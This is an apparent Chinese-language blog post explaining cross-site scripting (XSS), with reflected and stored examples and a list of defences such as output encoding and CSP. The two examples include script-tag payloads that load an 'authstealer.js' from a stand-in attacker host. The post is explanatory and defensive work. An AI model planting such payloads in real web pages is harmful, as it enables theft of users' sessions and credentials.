xss简介

XSS攻击原理及类型?

原理

在客户端向网页中写入可执行脚本,然后提交给服务器,服务器生成包含该脚本的网页。

非持久性XSS

写入可执行脚本的网页是临时的,脚本信息不会保存到数据库。

网站:search.com
A:发现 search.com?q=XXX页面显示“查询到XXX”
A: 修改 search.com?q=http://bobssite.org?q=dogs%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
A: 链接发送给B
B: 访问链接,执行js

持久性XSS

脚本信息会保存到数据库。

网站:comment.com
A: 发表评论‘I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">’
A: 将包含评论的页面链接发给B
B: 访问链接,执行js

防范措施?

  1. 上下文输出编码/转义字符串输入
  2. 安全验证不受信任的HTML输入
  3. Cookie增加IP验证
  4. 禁用脚本
  5. 使用CSP内容安全策略
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 177,065评论 25 709
  • 从三月份找实习到现在,面了一些公司,挂了不少,但最终还是拿到小米、百度、阿里、京东、新浪、CVTE、乐视家的研发岗...
    时芥蓝阅读 42,564评论 11 349
  • 漏洞挖掘与利用 测试环境的搭建 引言 为什么要搭建本地测试环境?我想下面的东西能够回答你的疑惑。 第二百八十五条 ...
    作业没写完阅读 8,746评论 0 4
  • 很遗憾,昨天又没有写。而我又无时无刻不再麻醉自己,模式已经出现,想改还需要一段不短的时间。 昨天的觉察,有些扎心。...
    郭腾达阅读 1,157评论 0 0
  • 一直想写篇文章来总结下,可是一直也很懒,一拖就是几个月。 背景 之所做这个东西,源于之前项目中需要把一些页面用we...
    一个大番茄阅读 9,941评论 18 54

友情链接更多精彩内容